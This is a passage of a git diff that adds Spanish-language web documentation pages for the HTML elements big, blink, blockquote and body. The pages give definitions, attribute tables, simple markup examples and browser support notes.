+ <li> {{htmlelement("audio")}}, el cual es el elemento estándar para incrustar audio en un documento.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/es/web/html/elemento/big/index.html b/files/es/web/html/elemento/big/index.html
new file mode 100644
index 0000000000..a15f1b5da9
--- /dev/null
+++ b/files/es/web/html/elemento/big/index.html
@@ -0,0 +1,191 @@
+---
+title: big
+slug: Web/HTML/Elemento/big
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/big
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>big</strong> de big=grande</p>
+
+<p>Muestra el texto marcado con un tamaño de fuente más grande. El tamaño de la fuente puede definirse en una escala del 1 al 7, <strong>big</strong> aumenta este valor en un punto.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: <code>&lt;big&gt;</code> y <code>&lt;/big&gt;</code> (Ambas obligatorias).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: En línea.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: Elemento <a href="es/HTML/Elemento/Tipos_de_elementos#de_estilo_de_fuente">de estilo de fuente</a> y por lo tanto <a href="es/HTML/Elemento/Tipos_de_elementos#en_l.C3.ADnea">en línea</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: Texto y/o cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_l.C3.ADnea">en línea</a>.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+   <th>por omisión</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#h-6.3">Texto legible</a>. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr></td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-cdata">cdata</a></td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>.</td>
+   <td>Lo fija el navegador. <abbr title="Por defecto">PD.</abbr>: "desconocido".</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr></td>
+   <td>Lo fija el navegador. <abbr title="Por defecto">PD.</abbr>: En castellano 'ltr'.</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="4">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+   <th>por omisión</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="Simple" name="Simple">Simple</h4>
+
+<pre class="eval"><span class="nowiki">
+  &lt;p&gt;
+
+   Texto normal y... &lt;big&gt;Texto más grande&lt;/big&gt;
+
+  &lt;/p&gt;
+ </span>
+</pre>
+</div>
+
+<div class="highlight">
+<h4 id="Recursivo" name="Recursivo">Recursivo</h4>
+
+<p><strong>big</strong> puede contener otros elementos en línea, por ejemplo... <strong>big</strong>:</p>
+
+<pre class="eval"><span class="nowiki">
+  &lt;p&gt;
+
+   Texto normal y texto &lt;big&gt; cada &lt;big&gt; vez &lt;big&gt; más &lt;big&gt; grande. &lt;/big&gt;&lt;/big&gt;&lt;/big&gt;&lt;/big&gt;
+
+  &lt;/p&gt;
+ </span>
+</pre>
+
+<p>Se visualiza así:</p>
+
+<div style="border: solid silver 1px;">
+<p>Texto normal y texto cada vez más grande.</p>
+</div>
+</div>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-big">comparativa</a>: IE6 vs IE7 vs FF1.5 vs OP9.</p>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<p>Observa el siguiente ejemplo:</p>
+
+<pre class="eval"><span class="nowiki">
+ &lt;style&gt;
+        span { font-size: larger; }
+ &lt;/style&gt;
+
+ &lt;h2&gt; Con big &lt;/h2&gt;
+ &lt;p&gt; Texto normal y texto ...
+
+ &lt;big&gt; cada &lt;big&gt; vez &lt;big&gt; más &lt;big&gt; grande. &lt;/big&gt;&lt;/big&gt;&lt;/big&gt;&lt;/big&gt;  &lt;/p&gt;
+
+ &lt;h2&gt; Con CSS &lt;/h2&gt;
+ &lt;p&gt; Texto normal y texto ...
+
+ &lt;span&gt; cada &lt;span&gt; vez &lt;span&gt; más &lt;span&gt; grande. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;  &lt;/p&gt;
+ </span>
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<ul>
+ <li><strong>big</strong> tiene un elemento opuesto, <a href="es/HTML/Elemento/small">small</a>. Si <strong>big</strong> aumenta el tamaño de la fuente <a href="es/HTML/Elemento/small">small</a> lo disminuye. Sin embargo en su funcionamiento son idénticos.</li>
+ <li>El W3C (y nosotros) desaconseja el uso de este elemento, para manejar el tamaño del texto es mejor usar CSS.</li>
+</ul>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/present/graphics.html#edef-BIG"><strong>big</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/blink/index.html b/files/es/web/html/elemento/blink/index.html
new file mode 100644
index 0000000000..f63821708a
--- /dev/null
+++ b/files/es/web/html/elemento/blink/index.html
@@ -0,0 +1,100 @@
+---
+title: <blink>
+slug: Web/HTML/Elemento/blink
+tags:
+  - Elemento
+  - HTML
+  - Obsoleto
+  - Referencia
+  - Web
+translation_of: Web/HTML/Element/blink
+---
+<div>{{Deprecated_header}} {{Non-standard_header}}</div>
+
+<p>El elemento HTML blink (<code>&lt;blink&gt;</code>) no es un elemento estándar que causa que el texto encerrado parpadee lentamente .</p>
+
+<div class="warning">
+<p class="note"><strong>Precaución :</strong> No usar este elemento ya que no es un elemento estándar y está <strong>obsoleto</strong>. El texto parpadeante es mal visto por diversos estándares de accesibilidad y la especificación de CSS permite a los exploradores ingnorar el valor del parpadeo . .</p>
+</div>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Este elemento no es soportado y por lo tanto implementa la interface {domxref("HTMLUnknownElement")}} .</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:html">&lt;blink&gt;Why would somebody use this?&lt;/blink&gt;
+</pre>
+
+<h3 id="Resultado">Resultado </h3>
+
+<p><img alt="Image:HTMLBlinkElement.gif" src="/@api/deki/files/247/=HTMLBlinkElement.gif"></p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<p>Este elemento no es parte del estándar ni de alguna espeficación . Si no nos crees puedes verlo por ti mismo en la <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/obsolete.html#non-conforming-features">espeficicación de HTML</a>.</p>
+
+<h2 id="Compatibilidad_en_exploradores">Compatibilidad en exploradores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Soportado hasta la versión 22. Removido en la versión 23.</p>
+
+<p>[2] Soportado hasta la versión 12.1. Removido en la versión 15.0.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="http://www.montulli.org/theoriginofthe%3Cblink%3Etag">Historia de la creación del elemento</a> &lt;blink&gt;</li>
+ <li>{{cssxref("text-decoration")}}, donde un valor de parpadeo existe , aunque los exploradores no son obligados a hacer parpadear el texto efectivamente.</li>
+ <li>{{htmlelement("marquee")}}, otro elemento similar que no pertenece a un estándar.</li>
+ <li>Las <a href="/es/docs/Web/CSS/CSS_Animations/Usando_animaciones_CSS">animaciones CSS</a> son la forma correcta de crear tal efecto .</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/es/web/html/elemento/blockquote/index.html b/files/es/web/html/elemento/blockquote/index.html
new file mode 100644
index 0000000000..d8f71a7ed4
--- /dev/null
+++ b/files/es/web/html/elemento/blockquote/index.html
@@ -0,0 +1,153 @@
+---
+title: blockquote
+slug: Web/HTML/Elemento/blockquote
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/blockquote
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>blockquote</strong> -<em>cita en bloque</em> . Crea citas en bloque, marca las citas a otros autores o documentos.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: <code>&lt;blockquote&gt;</code> y <code>&lt;/blockquote&gt;</code> (ambas obligatorias).</dd>
+ <dd><strong>Está definido como</strong>: Elemento <a href="es/HTML/Elemento/Tipos_de_elementos#enbloque">en bloque</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: En bloque.</dd>
+ <dd><strong>Puede y debe contener</strong>: Uno o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#enbloque">en bloque</a> o <a href="es/HTML/Elemento/script">script</a></dd>
+ <dd>Con un doctype transicional <strong>Puede contener</strong>: texto, y/o cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#enbloque">en bloque</a> o <a href="es/HTML/Elemento/Tipos_de_elementos#enlinea">en línea</a></dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+  <tr>
+   <th colspan="3">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td>Texto legible por personas. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>. Por defecto: "desconocido". Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr> Por defecto: En castellano 'ltr'. Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td colspan="3"><a class="external" href="http://html.conclase.net/w3c/html401-es/interact/scripts.html#events"><span style="color: green;">Eventos:</span></a> <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="3">Específicos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">cite </code></td>
+   <td>Proporciona un enlace al documento original o fuente</td>
+   <td>Una dirección <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#h-6.4">URI</a>. Por defecto: lo fija el navegador</td>
+  </tr>
+  <tr>
+   <th colspan="3">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="3">No tiene</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="Un_blockquote_estricto" name="Un_blockquote_estricto">Un <strong>blockquote</strong> estricto</h4>
+
+<pre class="eval">&lt;<strong>blockquote</strong> cite='<a class="external" href="http://html.conclase.net/w3c/html401-es/struct/text.html#edef-BLOCKQUOTE" rel="freelink">http://html.conclase.net/w3c/html401...def-BLOCKQUOTE</a>'&gt;
+  &lt;p&gt;
+    &lt;strong&gt;Nota.&lt;/strong&gt; Recomendamos que las implementaciones de hojas
+    de estilo porporcionen un mecanismo para insertar signos de puntuación de citas
+    antes y después de una cita delimitada por un BLOCKQUOTE de un modo apropiado según
+    el contexto del idioma actual y el grado de anidamiento de las citas.
+  &lt;/p&gt;
+&lt;/<strong>blockquote</strong>&gt;
+</pre>
+</div>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<ul>
+ <li>Conviene tener cuidado con las divergencias en el tipo de contenido dependiendo del doctype. El siguiente ejemplo es válido con un doctype transicional, pero no lo es con el estricto:</li>
+</ul>
+
+<pre class="eval">&lt;<strong>blockquote</strong>&gt;
+  Bla, bla, bla...
+&lt;/<strong>blockquote</strong>&gt;
+</pre>
+
+<ul>
+ <li><strong>blockquote</strong> tiene un hermano menor: <a href="es/HTML/Elemento/q">q</a>. <strong>blockquote</strong> sirve para citas en bloque y <a href="es/HTML/Elemento/q">q</a> para citas en línea.</li>
+</ul>
+
+<ul>
+ <li>A diferencia de <a href="es/HTML/Elemento/q">q</a>, <strong>blockquote</strong> no entrecomilla los contenidos, debe hacerlo el autor (con CSS).</li>
+</ul>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/text.html#edef-BLOCKQUOTE"><strong>blockquote</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-blockquote">comparativa</a>: IE 6 - IE 7 - FF 1.5 - OP 9.</p>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/body/index.html b/files/es/web/html/elemento/body/index.html
new file mode 100644
index 0000000000..32b0a64328
--- /dev/null
+++ b/files/es/web/html/elemento/body/index.html
@@ -0,0 +1,170 @@
+---
+title: '<body>: El elemento body del documento'
+slug: Web/HTML/Elemento/body
+tags:
+  - Elemento
+  - HTML
+  - Referencia
+  - Seleccionar el elemento raíz
+  - Web
+  - secciones
+translation_of: Web/HTML/Element/body
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">El <strong>elemento <code>&lt;body&gt;</code> de HTML</strong> representa el contenido de un documento HTML. Solo puede haber un elemento <code>&lt;body&gt;</code> en un documento.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">{{web.link("/es/docs/Web/HTML/Content_categories", "Categorías de contenido")}}</th>
+   <td>{{web.link("/en-US/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines#Section_Elements_in_HTML5", "Secciones en HTML5")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>{{web.link("/es/docs/Web/HTML/Content_categories#Flow_content", "Flujo de contenido")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiqueta</th>
+   <td>La etiqueta de inicio se puede omitir si lo primero que hay dentro no es un carácter de espacio, comentario, elemento {{HTMLElement("script")}} o elemento {{HTMLElement("style")}}. La etiqueta final se puede omitir si el elemento <code>&lt;body&gt;</code> tiene contenido o tiene una etiqueta de inicio y no va seguido inmediatamente de un comentario.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenedores autorizados</th>
+   <td>Debe ser el segundo elemento de un elemento {{HTMLElement("html")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rol de ARIA implícito</th>
+   <td>{{web.link("/es/docs/Web/Accessibility/ARIA/Roles/Document_Role", "document")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Roles ARIA permitidos</th>
+   <td>No se permite <code>role</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{DOMxRef("HTMLBodyElement")}}
+    <ul>
+     <li>El elemento <code>&lt;body&gt;</code> expone la interfaz {{DOMxRef("HTMLBodyElement")}}.</li>
+     <li>Puedes acceder al elemento <code>&lt;body&gt;</code> a través de la propiedad {{DOMxRef("document.body")}}.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento incluye los {{web.link("/es/docs/Web/HTML/Global_attributes", "atributos globales")}}.</p>
+
+<dl>
+ <dt>{{HTMLAttrDef("alink")}} {{obsolete_inline}}</dt>
+ <dd>Color del texto de los hipervínculos cuando se selecciona. <em>Este método no es conforme a la especificación, utiliza la propiedad {{CSSxRef("color")}} de CSS junto con la pseudoclase {{CSSxRef(":active")}} en su lugar. </em></dd>
+ <dt>{{HTMLAttrDef("background")}} {{obsolete_inline}}</dt>
+ <dd>URI de una imagen para usar como fondo. <em>Este método no es conforme, usa la propiedad CSS {{CSSxRef("background")}} en el elemento</em>.</dd>
+ <dt>{{HTMLAttrDef("bgcolor")}} {{obsolete_inline}}</dt>
+ <dd>Color de fondo del documento. <em>Este método no es conforme, utiliza la propiedad CSS {{CSSxRef("background-color")}} en el elemento</em>.</dd>
+ <dt>{{HTMLAttrDef("bottommargin")}} {{obsolete_inline}}</dt>
+ <dd>El margen de la parte inferior del <em>&lt;body&gt;</em>. <em>Este método no es conforme, usa la propiedad CSS {{CSSxRef("margin-bottom")}} en el elemento</em>.</dd>
+ <dt>{{HTMLAttrDef("leftmargin")}} {{obsolete_inline}}</dt>
+ <dd>El margen de la izquierda del <em>&lt;body&gt;</em>. <em>Este método no es conforme, usa la propiedad CSS {{CSSxRef("margin-left")}} en el elemento en su lugar</em>.</dd>
+ <dt>{{HTMLAttrDef("link")}} {{obsolete_inline}}</dt>
+ <dd>Color del texto de los enlaces de hipertexto no visitados. <em>Este método no es conforme, usa la propiedad {{CSSxRef("color")}} de CSS junto con la pseudoclase {{CSSxRef(":link")}} en su lugar</em>.</dd>
+ <dt>{{HTMLAttrDef("onafterprint")}}</dt>
+ <dd>Función para llamar después de que el usuario haya impreso el documento.</dd>
+ <dt>{{HTMLAttrDef("onbeforeprint")}}</dt>
+ <dd>Función para llamar cuando el usuario solicita la impresión del documento.</dd>
+ <dt>{{HTMLAttrDef("onbeforeunload")}}</dt>
+ <dd>Función para llamar cuando se está a punto de descargar el documento.</dd>
+ <dt>{{HTMLAttrDef("onblur")}}</dt>
+ <dd>Función para llamar cuando el documento pierde el foco.</dd>
+ <dt>{{HTMLAttrDef("onerror")}}</dt>
+ <dd>Función para llamar cuando el documento no se carga correctamente.</dd>
+ <dt>{{HTMLAttrDef("onfocus")}}</dt>
+ <dd>Función para llamar cuando el documento recibe el foco.</dd>
+ <dt>{{HTMLAttrDef("onhashchange")}}</dt>
+ <dd>Función para llamar cuando la parte del identificador del fragmento (comenzando con el carácter de almohadilla (<code>'#'</code> también conocido como numeral)) de la dirección actual del documento ha cambiado.</dd>
+ <dt>{{HTMLAttrDef("onlanguagechange")}} {{experimental_inline}}</dt>
+ <dd>Función para llamar cuando cambiaron los idiomas preferidos.</dd>
+ <dt>{{HTMLAttrDef("onload")}}</dt>
+ <dd>Función a llamar cuando se haya terminado de cargar el documento.</dd>
+ <dt>{{HTMLAttrDef("onmessage")}}</dt>
+ <dd>Función para llamar cuando el documento ha recibido un mensaje.</dd>
+ <dt>{{HTMLAttrDef("onoffline")}}</dt>
+ <dd>Función para llamar cuando falla la comunicación de la red.</dd>
+ <dt>{{HTMLAttrDef("ononline")}}</dt>
+ <dd>Función para llamar cuando se restablece la comunicación de la red.</dd>
+ <dt>{{HTMLAttrDef("onpopstate")}}</dt>
+ <dd>Función para llamar cuando el usuario ha navegado el historial de sesiones.</dd>
+ <dt>{{HTMLAttrDef("onredo")}}</dt>
+ <dd>Función para llamar cuando el usuario ha avanzado en el historial de deshacer transacciones.</dd>
+ <dt>{{HTMLAttrDef("onresize")}}</dt>
+ <dd>Función para llamar cuando el documento ha cambiado de tamaño.</dd>
+ <dt>{{HTMLAttrDef("onstorage")}}</dt>
+ <dd>Función para llamar cuando el área de almacenamiento ha cambiado.</dd>
+ <dt>{{HTMLAttrDef("onundo")}}</dt>
+ <dd>Función para llamar cuando el usuario ha retrocedido en el historial de deshacer transacciones.</dd>
+ <dt>{{HTMLAttrDef("onunload")}}</dt>
+ <dd>Función para llamar cuando el documento se vaya.</dd>
+ <dt>{{HTMLAttrDef("rightmargin")}} {{obsolete_inline}}</dt>
+ <dd>El margen de la derecha del <em>&lt;body&gt;</em>. <em>Este método no es conforme, usa la propiedad CSS {{CSSxRef("margin-right")}} en el elemento</em>.</dd>
+ <dt>{{HTMLAttrDef("text")}} {{obsolete_inline}}</dt>
+ <dd>Color de primer plano del texto. <em>Este método no es conforme, usa la propiedad CSS {{CSSxRef("color")}} en el elemento</em>.</dd>
+ <dt>{{HTMLAttrDef("topmargin")}} {{obsolete_inline}}</dt>
+ <dd>El margen de la parte superior del <em>&lt;body&gt;</em>. <em>Este método no es conforme, usa la propiedad CSS {{CSSxRef("margin-top")}} en el elemento</em>.</dd>
+ <dt>{{HTMLAttrDef("vlink")}} {{obsolete_inline}}</dt>
+ <dd>Color del texto de los enlaces de hipertexto visitados. <em>Este método no es conforme, utiliza la propiedad {{CSSxRef("color")}} de CSS junto con la pseudoclase {{CSSxRef(":visited")}} en su lugar</em>.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Título del documento&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;Este es un párrafo&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-body-element', '&lt;body&gt;')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Cambió la lista de características no conformes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-body-element', '&lt;body&gt;')}}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Los atributos anteriormente obsoletos. Definieron el comportamiento de <code>topmargin</code>, <code>leftmargin</code>, <code>rightmargin</code> y <code>bottommargin</code> no conforme y nunca estandarizado. Se agregaron los atributos <code>on*</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.1', '&lt;body&gt;')}}</td>
+   <td>{{ Spec2('HTML4.01') }}</td>
+   <td>En desuso el <code>alink</code>, <code>background</code>, <code>bgcolor</code>, <code>link</code>, <code>text</code> y atributos <code>vlink</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data"> https://github.com/mdn/browser-compat- datos </a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("html.elements.body")}}</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{HTMLElement("html")}}</li>
+ <li>{{HTMLElement("head")}}</li>
+</ul>
